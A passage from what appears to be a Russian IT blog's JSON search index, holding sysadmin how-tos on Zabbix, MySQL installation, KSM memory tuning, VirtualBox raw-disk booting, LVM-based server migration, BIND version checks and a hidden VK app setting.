доменов).\n","permalink":"https://blog.xsk.in/it/linux-it/sertifikaty-lets-encrypt-na-stary-h-serverah/1020/","summary":"\u003cp\u003eБлагодаря Let\u0026rsquo;s Encrypt, стало гораздо проще получать сертификаты для доменов и уверенно двигаться в ногу со временем навстречу HTTP/2. Несколько тормозит прогресс наличие огромного количества необновляемых в силу ряда причин серверов под управлением старых операционных систем. Не будем вдаваться в моральные и прочие аспекты обслуживания этого разношерстного зоопарка, в рамках данной статьи рассмотрим, как условно безболезненно получать и обновлять сертификаты для доменов на таких железках.\u003c/p\u003e","title":"Сертификаты Lets Encrypt на старых серверах"},{"content":"При установке zabbix-server 3.0 в Debian 9 в связке nginx + php7.0-fpm из коробки не совсем корректно взлетел веб-интерфейс Заббикса. Графики отображаются пустыми, без легенд и надписей внутри себя.\nКак выяснилось, проблема не в обновленном php-gd или иных прелестях свежего Debian-дистрибутива. Оказалось, известный разработчикам заббикса прикол. Чинится просто: находим в папке zabbix-frontend директорию шрифтов с содержимым и указываем путь к своим системным шрифтам. Примерно так:\nupdate-alternatives --install /var/www/zabbix/fonts/graphfont.ttf zabbix-frontend-font /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf 10\nСсылки:\nZabbix 3.4 not showing legend ","permalink":"https://blog.xsk.in/it/pusty-e-grafiki-bez-teksta-v-svezhem-zabbix/1016/","summary":"\u003cp\u003eПри установке zabbix-server 3.0 в Debian 9 в связке nginx + php7.0-fpm из коробки не совсем корректно взлетел веб-интерфейс Заббикса. Графики отображаются пустыми, без легенд и надписей внутри себя.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2018/03/zabbix_empty_legend.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/03/zabbix_empty_legend.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eКак выяснилось, проблема не в обновленном php-gd или иных прелестях свежего Debian-дистрибутива. Оказалось, известный разработчикам заббикса прикол. Чинится просто: находим в папке zabbix-frontend директорию шрифтов с содержимым и указываем путь к своим системным шрифтам. Примерно так:\u003c/p\u003e","title":"Пустые графики без текста в свежем Zabbix"},{"content":"Речь идёт о любых соответствиях расширений приложениям. В данном конкретном случае рассматривается некорректное открытие ссылок внутри PDF-файлов, просматриваемых с помощью Okular, через текстовый редактор gedit. Все операции производятся в Ubuntu 16.04.3 LTS.\nВыполнить команду kcmshell4 filetypes Найти в списке типов желаемый html и поднять на первое место необходимое приложение в поле Application Preference Order\nНажать Apply и OK. Перезапустить при необходимости Okular Ссылки:\nopen links in okular with Firefox ","permalink":"https://blog.xsk.in/it/otkry-tie-ssy-lok-iz-pdf-v-brauzere/897/","summary":"\u003cp\u003eРечь идёт о любых соответствиях расширений приложениям. В данном конкретном случае рассматривается некорректное открытие ссылок внутри PDF-файлов, просматриваемых с помощью Okular, через текстовый редактор gedit. Все операции производятся в Ubuntu 16.04.3 LTS.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eВыполнить команду \u003ccode\u003ekcmshell4 filetypes\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eНайти в списке типов желаемый html и поднять на первое место необходимое приложение в поле Application Preference Order\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2018/02/file-associations.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2018/02/file-associations.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eНажать Apply и OK. Перезапустить при необходимости Okular\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eСсылки:\u003c/em\u003e\u003c/p\u003e","title":"Открытие ссылок из PDF в браузере"},{"content":"В Debian Wheeze и Jessie (7 и 8 версии, соответственно) по умолчанию в репозиториях содержится только Mysql server версии 5.5. Но разработчики предлагают легкий способ установки последних стабильных релизов с помощью полуавтоматического добавления официальных репозиториев с помощью конфигуратора.\nНепосредственно конфигуратор лежит внизу страницы http://dev.mysql.com/downloads/repo/apt/. На момент написания статьи там представлен файл https://dev.mysql.com/get/mysql-apt-config_0.8.9-1_all.deb. Скачиваем, устанавливаем и настраиваем (запустится автоматически) выбор версии, после чего ставим непосредственно mysql.\nwget https://dev.mysql.com/get/mysql-apt-config_0.8.9-1_all.deb dpkg -i mysql-apt-config_0.8.9-1_all.deb Выбираем версию в конфигураторе, остальные опции по необходимости\napt-get update apt-get install mysql-community-server Вуаля!\nСсылки:\nHow to install MySQL server 5.6 or 5.7 on Debian 7 and 8 ","permalink":"https://blog.xsk.in/it/ustanovka-mysql-5-6-ili-5-7-v-debian-7-i-8/887/","summary":"\u003cp\u003eВ Debian Wheeze и Jessie (7 и 8 версии, соответственно) по умолчанию в репозиториях содержится только Mysql server версии 5.5. Но разработчики предлагают легкий способ установки последних стабильных релизов с помощью \u003cem\u003eполуавтоматического\u003c/em\u003e добавления официальных репозиториев с помощью конфигуратора.\u003c/p\u003e\n\u003cp\u003eНепосредственно конфигуратор лежит внизу страницы \u003ca href=\"http://dev.mysql.com/downloads/repo/apt/\"\u003ehttp://dev.mysql.com/downloads/repo/apt/\u003c/a\u003e. На момент написания статьи там представлен файл \u003ca href=\"https://dev.mysql.com/get/mysql-apt-config\"\u003ehttps://dev.mysql.com/get/mysql-apt-config\u003c/a\u003e_0.8.9-1_all.deb. Скачиваем, устанавливаем и настраиваем (запустится автоматически) выбор версии, после чего ставим непосредственно mysql.\u003c/p\u003e","title":"Установка Mysql 5.6 или 5.7 в Debian 7 и 8"},{"content":"KSM (Kernel SamePage Merging, также: Kernel Shared Memory, Memory Merging) - технология ядра, позволяющая объединять одинаковые страницы памяти между различными процессами в одну для совместного использования. Эта возможность позволяет снизить общее использование памяти виртуальными гостевыми системами при использовании KVM. Модуль ядра ksmd запускает сканирование памяти с заданным интервалом времени (настройка sleep_millisecs). Идентичные блоки объединяются в одну, а освободившиеся дубликаты удаляются. При этом, общая на несколько процессов страница помечается флагом \u0026ldquo;copy-on-write\u0026rdquo; и будет разделена ядром при следующем изменении каким либо из процессов. KSM поддерживается ядром Linux, начиная с версии 2.6.32, и доступно в QEMU с версии 0.12.\nК плюсам данной технологии относится выделение превышающих физическое значение ресурсов памяти без использования файлов подкачки. Например, можно раздать 52 раза по 1GB виртуальным машинам с одинаковой Windows XP на борту и занять при этом физически всего 16GB реальной памяти хоста (эксперименты Red Hat). Из минусов - расходуется процессорное время, поэтому на машинах со слабым CPU включение KSM может больше навредить.\nЧтобы начать использовать KSM, нужно собрать ядро с параметром CONFIG_KSM=y и включить ksm в системе через /sys/kernel/mm/ksm\necho 1 \u0026gt; /sys/kernel/mm/ksm/run Для управления и сбора статистики доступны следующие ключи:\nrun - текущее состояние KSM (0 - остановлено, но объединенные ранее сохраняют состояние; 1 - запущено; 2 - полностью отключено) full_scans - количество выполненных операций сканирования sleep_millisecs - пауза между сканированиями памяти pages_to_scan - количество страниц, анализируемое для потенциального объединения за один проход pages_shared - количество объединенных страниц, если умножить значение на размер страницы (getconf PAGESIZE), получим общий объем памяти, который использует KSM pages_sharing - количество повторов одних и тех же страниц (случайные или шифрованные данные, а также пустые блоки) в объединенном пуле. Эффективность KSM можно оценить по величине (pages_sharing)/(pages_shared)\n(больше значит лучше) pages_unshared - количество гостевых уникальных страниц, которые невозможно объединить сейчас, но будут проверены позже. Чем ниже (pages_unshared)/(pages_sharing), тем меньше усилий затрачивает KSM. pages_volatile - количество страниц, содержимое которых меняется слишком часто для того, чтобы включать их в дедупликацию. Чем выше это значение, тем ниже эффективность KSM на сервере. Повлиять на качество работы модуля можно настройкой параметров pages_to_scan и sleep_millisecs. Так, увеличение pages_to_scan и уменьшив sleep_millisecs сделает работу модуля более агрессивной, но отрицательно скажется на нагрузках процессора.\nНу, а чтобы не смотреть на эти параметры вручную, можно добавить графики эффективности в Zabbix. Пример темплейта представлен по ссылке: ksm_stats.xml. Добавляет график по четырем последним метрикам, а также коэффициенты пользы и затрат в виде отдельного графика. Помимо всего прочего добавлен триггер проверки, что модуль ksm запущен.\nСкрипт сбора данных /etc/zabbix/scripts/ksm.sh выглядит следующим образом:\n#!/bin/bash case \u0026#34;${1}\u0026#34; in \u0026#34;run\u0026#34;) value=$(cat /sys/kernel/mm/ksm/run);; \u0026#34;full_scans\u0026#34;) value=$(cat /sys/kernel/mm/ksm/full_scans);; \u0026#34;pages_shared\u0026#34;) value=$(cat /sys/kernel/mm/ksm/pages_shared);; \u0026#34;pages_sharing\u0026#34;) value=$(cat /sys/kernel/mm/ksm/pages_sharing);; \u0026#34;pages_to_scan\u0026#34;) value=$(cat /sys/kernel/mm/ksm/pages_to_scan);; \u0026#34;pages_unshared\u0026#34;) value=$(cat /sys/kernel/mm/ksm/pages_unshared);; \u0026#34;pages_volatile\u0026#34;) value=$(cat /sys/kernel/mm/ksm/pages_volatile);; \u0026#34;sleep_millisecs\u0026#34;) value=$(cat /sys/kernel/mm/ksm/sleep_millisecs);; \u0026#34;profit\u0026#34;) value=$(echo \u0026#34;scale=2;$(cat /sys/kernel/mm/ksm/pages_sharing) / $(cat /sys/kernel/mm/ksm/pages_shared)\u0026#34;|bc);; \u0026#34;effort\u0026#34;) value=$(echo \u0026#34;scale=2;$(cat /sys/kernel/mm/ksm/pages_unshared) / $(cat /sys/kernel/mm/ksm/pages_sharing)\u0026#34;|bc);; esac echo $value exit 0 Он подключается в конфигурации /etc/zabbix/zabbix_agentd.conf так:\nUserParameter=ksm[*], /etc/zabbix/scripts/ksm.sh $1 Ссылки:\nKSM - экономим память KSM (Kernel Samepage Merging) How to use the Kernel Samepage Merging feature Determining the memory savings of KSM with Red Hat Enterprise Linux 6 and later ","permalink":"https://blog.xsk.in/it/e-konomiya-operativnoj-pamyati-s-ksm/859/","summary":"\u003cp\u003e\u003cstrong\u003eKSM\u003c/strong\u003e (Kernel SamePage Merging, также: Kernel Shared Memory, Memory Merging) - технология ядра, позволяющая объединять одинаковые страницы памяти между различными процессами в одну для совместного использования. Эта возможность позволяет снизить общее использование памяти виртуальными гостевыми системами при использовании KVM. Модуль ядра ksmd запускает сканирование памяти с заданным интервалом времени (настройка \u003cem\u003esleep_millisecs\u003c/em\u003e). Идентичные блоки объединяются в одну, а освободившиеся дубликаты удаляются. При этом, общая на несколько процессов страница помечается флагом \u0026ldquo;\u003cem\u003ecopy-on-write\u003c/em\u003e\u0026rdquo; и будет разделена ядром при следующем изменении каким либо из процессов. KSM поддерживается ядром Linux, начиная с версии 2.6.32, и доступно в QEMU с версии 0.12.\u003c/p\u003e","title":"Экономия оперативной памяти с KSM"},{"content":"Зачастую на компьютере установлено несколько операционных систем. Например, Windows с переменным успехом дружит с разными версиями GRUB и вполне уживается с Linux в пределах одного компьютера. Но часто из системы в систему не попрыгаешь даже в текущих реалиях жизни, где сплошь и рядом SSD и молниеносные дисковые операции. Для каких-то вещей вполне хватило бы виртуалки со второй системой, но настраивать всё заново долго, а быстрые гигабайты стоят по-прежнему космических денег.\nРассмотрим использование в Virtualbox под Ubuntu установленного на соседнем разделе Windows.\nОсновной принцип заключается в том, чтобы подмонтировать в качестве VMDK-образа гостевой системы Virtualbox установленную на физический раздел копию Windows. Но просто так винда не стартует, ей нужен собственный загрузчик. Его нет на диске с Windows, потому что там прописан GRUB. Его можно либо каждый раз восстанавливать при запуске гостя, либо воспользоваться дополнительным, взятым из отдельного ISO-образа, монтируемого вместе с виртуальной машиной.\nДабы не следить особо за правами на чтение дисков, образов и прочего, в начале наших манипуляций дадим своему пользователю доступ до всего необходимого:\nsudo adduser $(whoami) vboxusers sudo adduser $(whoami) disk После перезагрузки нам будет доступно использование vboxmanage без суперпользовательских привилегий.\nС помощью fdisk -l находим диск и загрузочный раздел с Windows, он будет помечен звездочкой\nfdisk -l Диск /dev/sdb: 120.0 Гб, 120034123776 байт 255 головок, 63 секторов/треков, 14593 цилиндров, всего 234441648 секторов Units = секторы of 1 * 512 = 512 bytes Размер сектора (логического/физического): 512 байт / 4096 байт I/O size (minimum/optimal): 4096 bytes / 4096 bytes Идентификатор диска: 0x44e9d489 Устр-во Загр Начало Конец Блоки Id Система /dev/sdb1 * 2048 104859647 52428800 7 HPFS/NTFS/exFAT /dev/sdb2 104859648 184860671 40000512 83 Linux /dev/sdb3 184860672 216860671 16000000 82 Linux своп / Solaris Создаем виртуальную машину через GUI Virtualbox, указываем необходимые для работы параметры на свой вкус. На вопрос о создании жесткого диска отвечаем отрицательно.\nЗатем идем в папку с этой виртуальной машиной на диске (для удобства дальнейшие операции будут проводиться там) и создаем образ с загрузчиком:\ncd /media/xandros/data/VirtualBox/win7 mkdir -p .iso/boot/grub touch .iso/boot/grub/grub.cfg D этот файл кладём содержимое своего пункта меню Windows из файла /boot/grub/grub.cfg, предварительно указав минимальные параметры для ускорения запуска\ninsmod part_msdos set default=0 set timeout=0 menuentry \u0026#39;Windows 7 (loader) (на /dev/sdb1)\u0026#39; --class windows --class os $menuentry_id_option \u0026#39;osprober-chain-686CD2336CD1FBAE\u0026#39; { insmod part_msdos insmod ntfs set root=\u0026#39;hd1,msdos1\u0026#39; if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd1,msdos1 --hint-efi=hd1,msdos1 --hint-baremetal=ahci1,msdos1 686CD2336CD1FBAE else search --no-floppy --fs-uuid --set=root 686CD2336CD1FBAE fi parttool ${root} hidden- chainloader +1 } Создаем непосредственно ISO-файл:\ngrub-mkrescue --output=/media/xandros/data/VirtualBox/win7/grub2.iso /media/xandros/data/VirtualBox/win7/.iso/ xorriso 1.3.2 : RockRidge filesystem manipulator, libburnia project. Drive current: -outdev \u0026#39;stdio:/media/xandros/data/VirtualBox/win7/grub2.iso\u0026#39; Media current: stdio file, overwriteable Media status : is blank Media summary: 0 sessions, 0 data blocks, 0 data, 38.9g free Added to ISO image: directory \u0026#39;/\u0026#39;=\u0026#39;/tmp/grub.Sb4dZZ\u0026#39; xorriso : UPDATE : 281 files added in 1 seconds Added to ISO image: directory \u0026#39;/\u0026#39;=\u0026#39;/media/xandros/data/VirtualBox/win7/.iso\u0026#39; xorriso : UPDATE : 284 files added in 1 seconds xorriso : NOTE : Copying to System Area: 512 bytes from file \u0026#39;/usr/lib/grub/i386-pc/boot_hybrid.img\u0026#39; xorriso : UPDATE : 100.00% done xorriso : UPDATE : 100.00% done ISO image produced: 2536 sectors Written to medium : 2536 sectors at LBA 0 Writing to \u0026#39;stdio:/media/xandros/data/VirtualBox/win7/grub2.iso\u0026#39; completed successfully. Теперь создадим образ .vmdk, который будет ссылаться на диск /dev/sdb с разделом sdb1 в качестве целевого (здесь relativeиспользуется для относительной адресации разделов)\nVBoxManage internalcommands createrawvmdk -filename /media/xandros/data/VirtualBox/win7/win7sdb1.vmdk -rawdisk /dev/sdb -partitions 1 -relative RAW host disk access VMDK file /media/xandros/data/VirtualBox/win7/win7sdb1.vmdk created successfully. Теперь входим в настройки нашей системы в Virtualbox, выбираем Носители - Контроллер SATA. Жмем на первую кнопку снизу \u0026ldquo;добавить\u0026rdquo; и выбираем наш VMDK образ. В контроллере IDE выбираем ISO-образ с загрузчиком.\nПробуем загрузиться.\nP.S. Во время работы с Windows в качестве гостевой можно монтировать любые оптические диски и образы, загрузчик будет необходим только при запуске.\nСсылки:\nЗапуск Windows 7 в Linux через Virtualbox с реального раздела жесткого диска ","permalink":"https://blog.xsk.in/it/zapusk-gostevoj-sistemy-virtualbox-s-fizicheskogo-razdela-diska/855/","summary":"\u003cp\u003eЗачастую на компьютере установлено несколько операционных систем. Например, Windows с переменным успехом дружит с разными версиями GRUB и вполне уживается с Linux в пределах одного компьютера. Но часто из системы в систему не попрыгаешь даже в текущих реалиях жизни, где сплошь и рядом SSD и молниеносные дисковые операции. Для каких-то вещей вполне хватило бы виртуалки со второй системой, но настраивать всё заново долго, а быстрые гигабайты стоят по-прежнему космических денег.\u003c/p\u003e","title":"Запуск гостевой системы Virtualbox с физического раздела диска"},{"content":"Дисклеймер: всё нижеописанное использовать вдумчиво и под свою ответственность! Шпаргалка создана для личных целей, использовать исключительно в качестве инструкции \u0026ldquo;как делать не надо\u0026rdquo;. Большинство команд восстановлено по памяти, но отражают суть дела. Статья не претендует на уникальность или адекватность, но метод рабочий.\nКраткое содержание:\nИзменяем размер корневой файловой системы на новой виртуалке Переносим снапшот LVM со старой Заставляем грузиться новое ядро со старой операционкой Рихтуем до работоспособного состояния систему в целом Поехали!\nСоздаем виртуалку в vscale.io с похожей версией операционной системы. Например, вместо Debian 6 ставим минимальный возможный Debian 7. Диск выбираем из собственных предпочтений с расчетом \u0026ldquo;чтоб влезло\u0026rdquo;. Как пользоваться панелью нового облачного хостера, можно найти в официальном блоге на Хабре\nПересобираем на новой виртуалке initrd с выходом в консоль до монтирования разделов. Для этого делаем следующее:\nСоздаем папку и разворачиваем туда текущий initrd:\nmkdir ~/initrd; cd ~/initrd gunzip -c /boot/initrd.img-3.2.0-4-amd64 | cpio -i --make-directories 65923 blocks ls -l total 44 drwxr-xr-x 2 root root 4096 Aug 22 11:20 bin drwxr-xr-x 3 root root 4096 Aug 22 11:19 conf drwxr-xr-x 6 root root 4096 Aug 22 11:21 etc -rwxr-xr-x 1 root root 6797 Aug 22 11:19 init drwxr-xr-x 6 root root 4096 Aug 22 11:19 lib drwxr-xr-x 2 root root 4096 Aug 22 11:19 lib64 drwxr-xr-x 2 root root 4096 Aug 22 11:19 run drwxr-xr-x 2 root root 4096 Aug 22 11:19 sbin drwxr-xr-x 7 root root 4096 Aug 22 11:21 scripts drwxr-xr-x 3 root root 4096 Aug 22 11:19 usr Кладем необходимые библиотеки и бинарники для работы с файловой системой (нам нужен fdisk, resize2fs и e2fsck):\nldd /sbin/fdisk linux-vdso.so.1 =\u0026gt; (0x00007ffeeb96e000) libblkid.so.1 =\u0026gt; /lib/libblkid.so.1 (0x00007fe3ba493000) libuuid.so.1 =\u0026gt; /lib/libuuid.so.1 (0x00007fe3ba28f000) libc.so.6 =\u0026gt; /lib/libc.so.6 (0x00007fe3b9f2d000) /lib64/ld-linux-x86-64.so.2 (0x00007fe3ba6b2000) ldd /sbin/resize2fs linux-vdso.so.1 =\u0026gt; (0x00007ffd497ee000) libe2p.so.2 =\u0026gt; /lib/libe2p.so.2 (0x00007f128b5b6000) libext2fs.so.2 =\u0026gt; /lib/libext2fs.so.2 (0x00007f128b388000) libcom_err.so.2 =\u0026gt; /lib/libcom_err.so.2 (0x00007f128b185000) libc.so.6 =\u0026gt; /lib/libc.so.6 (0x00007f128ae23000) libpthread.so.0 =\u0026gt; /lib/libpthread.so.0 (0x00007f128ac07000) /lib64/ld-linux-x86-64.so.2 (0x00007f128b7bd000) ldd /sbin/e2fsck linux-vdso.so.1 =\u0026gt; (0x00007fff949f7000) libext2fs.so.2 =\u0026gt; /lib/libext2fs.so.2 (0x00007f24ab49a000) libcom_err.so.2 =\u0026gt; /lib/libcom_err.so.2 (0x00007f24ab297000) libblkid.so.1 =\u0026gt; /lib/libblkid.so.1 (0x00007f24ab078000) libuuid.so.1 =\u0026gt; /lib/libuuid.so.1 (0x00007f24aae74000) libe2p.so.2 =\u0026gt; /lib/libe2p.so.2 (0x00007f24aac6d000) libc.so.6 =\u0026gt; /lib/libc.so.6 (0x00007f24aa90b000) libpthread.so.0 =\u0026gt; /lib/libpthread.so.0 (0x00007f24aa6ef000) /lib64/ld-linux-x86-64.so.2 (0x00007f24ab6c8000) for i in libext2fs.so.2.4 libcom_err.so.2.1 libe2p.so.2.3; do cp -i /lib/x86_64-linux-gnu/$i lib/x86_64-linux-gnu/; done cd lib/x86_64-linux-gnu/ ln -s libcom_err.so.2.1 libcom_err.so.2 ln -s libext2fs.so.2.4 libext2fs.so.2 ln -s libe2p.so.2.3 libe2p.so.2cd ~/initrd/ cp /sbin/e2fsck ~/initrd/bin/ cp /sbin/resize2fs ~/initrd/bin/ cp /sbin/fdisk ~/initrd/bin/ Изменяем init скрипт в месте перед монтированием устройств в систему, для этого в файле scripts/local\n... # FIXME This has no error checking # Mount root if [ \u0026#34;${FSTYPE}\u0026#34; != \u0026#34;unknown\u0026#34; ]; then mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt} else mount ${roflag} ${ROOTFLAGS} ${ROOT} ${rootmnt} fi ... Делаем примерно так:\n#RESIZEROOTFS MODIFIED!!! DONT RUN MORE THAN ONCE _log_msg \u0026#34;Starting e2fsck\u0026#34; /bin/e2fsck -p -f -C 0 /dev/vda1 || true _log_msg \u0026#34;Starting shell\u0026#34; /bin/sh # FIXME This has no error checking # Mount root if [ \u0026#34;${FSTYPE}\u0026#34; != \u0026#34;unknown\u0026#34; ]; then mount ${roflag} -t ${FSTYPE} ${ROOTFLAGS} ${ROOT} ${rootmnt} else mount ${roflag} ${ROOTFLAGS} ${ROOT} ${rootmnt} fi Далее создаем файл etc/mtab, при отстутствии которого утилиты e2fsck и resize2fs отказываются работать\ntouch ~/initrd/etc/mtab Собираем патченный initrd назад\ncd ~/initrd/ find ./ | cpio -H newc -o \u0026gt; /tmp/initrd.cpio 64097 blocks gzip -c /tmp/initrd.cpio \u0026gt; /boot/initrd-resize.img Теперь добавим в меню GRUB новую строчку для загрузки нашего initrd, для этого не будем хардкодить, а объявим его в файле /etc/grub.d/40_custom\n#!/bin/sh exec tail -n +3 $0 # This file provides an easy way to add custom menu entries. Simply type the # menu entries you want to add after this comment. Be careful not to change # the \u0026#39;exec tail\u0026#39; line above. menuentry \u0026#39;Our resize initrd\u0026#39; --class debian --class gnu-linux --class gnu --class os { load_video insmod gzio insmod part_msdos insmod ext2 set root=\u0026#39;(hd0,msdos1)\u0026#39; search --no-floppy --fs-uuid --set=root 89839485-a3d7-4d72-b96d-aba559b16634 echo\t\u0026#39;Loading Linux 3.2.0-4-amd64 ...\u0026#39; linux\t/boot/vmlinuz-3.2.0-4-amd64 root=UUID=660f79dc-c152-4e15-ad61-7075b42de609 ro quiet echo\t\u0026#39;Loading initial ramdisk ...\u0026#39; initrd\t/boot/initrd-resize.img } Обновляем список GRUB и перезагружаемся в патченный inirtd (для выбора нужного пункта в меню GRUB используем панель хостера и кнопку \u0026ldquo;Открыть консоль\u0026rdquo;)\nupdate-grub reboot Пока мы искали как попасть в VNC-консоль в панели vscale, необходимый нам раздел уже был проверен автоматически скриптом, поэтому сразу уменьшаем файловую систему до 1ГБ (системе хватит, она занимает около 800МБ)\nresize2fs /dev/vda1 1G Затем с помощью fdisk отрезаем раздел и создаем новый под LVM, оба primary, первый +1G, второй - всё остальное пространство. Не забываем поставить флаг активности на первый раздел\nНа всякий случай проверяем e2fsck и подгоняем файловую систему под размер первого раздела\nПерезагружаемся назад в обычную операционку, первый пункт меню\nСтавим пакет lvm2, создаем физический раздел, группу томов и наконец логический том под систему, которую будем переносить. Размер выбираем исходя из наших нужд\napt-get install lvm2 pvcreate /dev/vda2 vgcreate vg0 /dev/vda2 lvcreate -n old_system -L10G vg0 Идем на старый сервер в Селектеле, выключаем там swap и используем освободившееся место на диске для создания снапшота корневой файловой системы. В большинстве случаев этого должно хватить. Если раздел был невообразимо огромен, колдуем с добавлением дополнительных дисков в панели хостера и используем их\nswapoff /dev/vg/swap lvremove /dev/vg/swap lvcreate --snapshot --name my_shot --size 1.9G /dev/vg/root Переносим наш снапшот системы в новую виртуалку\ndd if=/dev/vg/my_shot bs=4096 | ssh root@new_vscale -C \u0026#39;dd of=/dev/vg1/old_system bs=4096\u0026#39; Если у нас отличаются ядра (3.1.0-1.2-xen на старом и 3.2.0-4-amd64 на новом, в моем случае), то маунтим перенесенный снапшот и переносим в раздел старой системы папку /lib/modules/3.2.0-4-amd64 с новой виртуалки. Иначе после ребута в старую систему с новым ядром ничего не заведется\nПри отличии версий операционных систем может вылезти еще косяк с inittab, в 6 и 7 дебианах они отличаются вот этим местом (комментим и добавляем старое поведение, иначе после загрузки системы мы в нее не залогинимся)\n#new system #0:12345:respawn:/sbin/getty xvc0 9600 #old system 1:2345:respawn:/sbin/getty 38400 tty1 2:23:respawn:/sbin/getty 38400 tty2 3:23:respawn:/sbin/getty 38400 tty3 4:23:respawn:/sbin/getty 38400 tty4 5:23:respawn:/sbin/getty 38400 tty5 6:23:respawn:/sbin/getty 38400 tty6 Теперь пробуем загружаться с этого Франкенштейна, для этого в наш /etc/grub.d/40_custom прописываем загрузку нового ядра с LVM\nmenuentry \u0026#39;Debian GNU/Linux Old System\u0026#39; --class debian --class gnu-linux --class gnu --class os { load_video insmod gzio insmod part_msdos insmod ext2 set root=\u0026#39;(hd0,msdos1)\u0026#39; search --no-floppy --fs-uuid --set=root 89839485-a3d7-4d72-b96d-aba559b16634 echo\t\u0026#39;Loading Linux 3.2.0-4-amd64 ...\u0026#39; linux\t/boot/vmlinuz-3.2.0-4-amd64 root=/dev/mapper/vg0-old_system ro consoleblank=0 panic=15 echo\t\u0026#39;Loading initial ramdisk ...\u0026#39; initrd\t/boot/initrd.img-3.2.0-4-amd64 } Обновляем GRUB, для автоматизации выставляем загрузку с этой строчки всегда по дефолту. Для этого правим строчку GRUB_DEFAULT=\u0026ldquo;0\u0026rdquo; в файле /etc/default/grub на ту, которой соответствует наше творчество. Отсчет с нуля\nЕсли всё прошло гладко, попадаем внутрь старой системы на новом ядре. Правим сетевые параметры, ищем вхождения старого IP адреса по всей папке /etc и после внесения необходимых изменений удивляемся, что это еще и работает о_О\nСсылки:\nHowto shrink a remote root ext3 filesystem on Debian wheezy LVM — это просто! Moving a Logical Volume directly from one server to another over the network? How do I shrink the root logical volume (LV) on LVM? How to resize the Root volume on LVM ","permalink":"https://blog.xsk.in/it/perenos-oblaka-s-selektela-na-vscale/846/","summary":"\u003cp\u003e\u003cem\u003eДисклеймер: всё нижеописанное использовать вдумчиво и под свою ответственность! Шпаргалка создана для личных целей, использовать исключительно в качестве инструкции \u0026ldquo;как делать не надо\u0026rdquo;. Большинство команд восстановлено по памяти, но отражают суть дела. Статья не претендует на уникальность или адекватность, но метод рабочий.\u003c/em\u003e\u003c/p\u003e","title":"Перенос облака с Селектела на Vscale"},{"content":"Чтобы узнать, что за версия BIND запущена на сервере, необходимо ввести команду\n# nslookup -q=txt -class=CHAOS version.bind. 0 Server: 0 Address: 0.0.0.0#53 version.bind text = \u0026#34;8.2.2-P5\u0026#34; Также можно воспользоваться более короткой (и легко запоминающейся) командой:\n# named -v named 8.2.2-P5-NOESW Mon Jan 24 13:43:58 EST 2000 Ссылки:\nWhat version of bind are you running? ","permalink":"https://blog.xsk.in/it/kak-uznat-versiyu-bind/841/","summary":"\u003cp\u003eЧтобы узнать, что за версия BIND запущена на сервере, необходимо ввести команду\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# nslookup -q=txt -class=CHAOS version.bind. 0\nServer:        0\nAddress:    0.0.0.0#53\nversion.bind    text = \u0026#34;8.2.2-P5\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eТакже можно воспользоваться более короткой (и легко запоминающейся) командой:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# named -v\nnamed 8.2.2-P5-NOESW Mon Jan 24 13:43:58 EST 2000\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cem\u003eСсылки:\u003c/em\u003e\u003c/p\u003e","title":"Как узнать версию BIND?"},{"content":"В ленте мобильного клиента ВКонтакте то и дело мелькает реклама различных мобильных приложений.\nВозможность их отключения есть из коробки, но мало кто об этом знает.\nЧтобы отключить рекламу, необходимо проделать следующие шаги:\nЗайти в клиент и выбрать в правом меню пункт \u0026ldquo;Настройки\u0026rdquo;. Опустить в самый низ и найти там \u0026ldquo;О программе\u0026rdquo;\nТрижды нажать на собаку (при этом ничего не произойдет) Войти в звонилку и ввести секретный код *#*#856682583#*#* (на Т9 это слово vkontakte) - откроется сервисное меню приложения\nОпуститься вниз меню и поставить галочку напротив \u0026ldquo;Отключить рекламу\u0026rdquo;\nСпособ был обнаружен во время ознакомления с программой Secret Codes для Андроида. Софт позволяет найти скрытый функционал внутри установленных на телефоне приложений.\nТакже с его помощью можно войти в сервисное меню, если в устройстве отсутствует звонилка (например, на планшете).\n","permalink":"https://blog.xsk.in/it/otklyuchenie-reklamy-v-mobil-nom-kliente-vkontakte/831/","summary":"\u003cp\u003eВ ленте мобильного клиента ВКонтакте то и дело мелькает реклама различных мобильных приложений.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2016/03/vk_remove_ad_1.jpg\"\u003e\u003cimg alt=\"vk_remove_ad_1\" loading=\"lazy\" src=\"/wp-content/uploads/2016/03/vk_remove_ad_1-169x300.jpg\"\u003e\u003c/a\u003e\u003cbr\u003e\nВозможность их отключения есть из коробки, но мало кто об этом знает.\u003c/p\u003e\n\u003cp\u003eЧтобы отключить рекламу, необходимо проделать следующие шаги:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eЗайти в клиент и выбрать в правом меню пункт \u0026ldquo;Настройки\u0026rdquo;.\u003c/li\u003e\n\u003cli\u003eОпустить в самый низ и найти там \u0026ldquo;О программе\u0026rdquo;\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2016/03/vk_remove_ad_2.jpg\"\u003e\u003cimg alt=\"vk_remove_ad_2\" loading=\"lazy\" src=\"/wp-content/uploads/2016/03/vk_remove_ad_2-169x300.jpg\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eТрижды нажать на собаку (при этом ничего не произойдет)\u003c/li\u003e\n\u003cli\u003eВойти в звонилку и ввести секретный код *#*#856682583#*#* (на Т9 это слово vkontakte) - откроется сервисное меню приложения\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2016/03/vk_remove_ad_3.jpg\"\u003e\u003cimg 